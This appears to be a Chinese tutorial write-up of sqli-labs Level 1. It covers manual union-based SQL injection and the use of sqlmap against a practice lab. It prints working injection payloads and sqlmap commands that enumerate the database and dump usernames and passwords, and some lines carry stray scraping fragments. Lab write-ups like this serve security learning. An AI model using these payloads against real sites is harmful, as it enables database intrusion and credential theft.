sqli-labs第一關sql
方法一:手工注入數據庫
方法二:sqlmap工具網絡
兩種方式,均可以學學,順便學會用sqlmap,也是不錯的。很少說,咱們開始吧工具
方法一:url
來到第一關,圖上說咱們須要一個數字的參數3d
因而咱們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯orm
每張截圖上面頁面中有select查詢語句,這是我在第一關的源碼中加上了echo "$sql<br>"; 爲了可以跟清楚的瞭解sql注入的原理 blog
因而咱們來判斷一下是否爲字符型注入,嘗試?id=1'發現頁面報錯,此題應該爲字符型注入字符串
因而咱們拼接字符串?id=1' and '1'='1頁面回顯正常源碼
而後咱們使用order by來肯定表中的列數,爲何咱們要肯定表中字段的列數呢?是由於咱們的union聯合查詢
聯合查詢特色:
一、要求多條查詢語句的查詢列數是一致的!
二、要求多條查詢語句的查詢的每一列的類型和順序最好一致
三、union關鍵字默認去重,若是使用union all 能夠包含重複項
因而咱們構造?id=1' and '1'='1' order by 1--+ 頁面回顯正常
?id=1' and '1'='1' order by 2--+ 頁面回顯正常
?id=1' and '1'='1' order by 3--+ 頁面回顯正常
?id=1' and '1'='1' order by 4--+ 出現報錯界面
而後咱們就肯定了字段數,因而用聯合查詢?id=-1' union select 1,2,3--+ (將id弄成一個負數的值,使前面的語句失效)而後看看union查詢是否有回顯位
這樣咱們就看到了2,3這兩個回顯位
而後咱們利用union查詢,查看數據庫的版本和數據庫名,這裏面咱們再補充點知識點
version():查看數據庫版本
database():查看使用的數據庫
user():查看當前用戶
limit:limit子句分批來獲取全部數據
group_concat():一次性獲取全部的數據庫信息
當咱們簡單瞭解了這個以後,咱們再進行下面的步驟,相信你們有了深入的理解
接下來利用這兩個回顯位來查詢數據庫,和數據庫版本信息
?id=-1' union select 1,database(),version()--+
而後咱們知道了數據庫是security,版本信息:5.7.26
再爆表以前咱們先了解一波知識點:
information_schema.tables:包含了數據庫裏全部的表
table_name:表名
table_schema:數據庫名
column_name:字段名
而後咱們利用union查詢來爆出表面寧
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
因而咱們爆出了表名
而後,由咱們正常的思惟,咱們的帳號和密碼確定在一張表上,咱們看到了users表,
因而咱們查看一下這張表的字段名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
咱們看到了username和password字段,
而後咱們就去查詢字段信息
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
得到了全部的帳號和密碼,這樣咱們就順利的拿到了很重要的信息。
方法二:
--dbs:是查看全部的數據庫
--tables:是查看全部的表
--columns:是查看錶中全部的字段名
--dump:是查詢哪一個表的數據
由於咱們已經知道了注入點的位置,因而咱們直接用sqlmap跑
命令:sqlmap.py -u "有注入點的url" --dbs
咱們看到了security數據庫,而後咱們開始爆表
命令:sqlmap.py -u "有注入點的url" -D security --tables
接下來咱們開始爆字段名
命令:sqlmap.py -u "有注入點的url" -D security -T users --columns
因而咱們就能夠爆信息了
命令:sqlmap.py -u "有注入點的url" -D security -T users -C "id,username,password" --dump
讓後咱們就獲得了用戶名和密碼了。
兩種方法,你們盡情參考就能夠了。知識點,來自網絡蒐集中,有不對的能夠指出來,歡迎你們的評論和指正。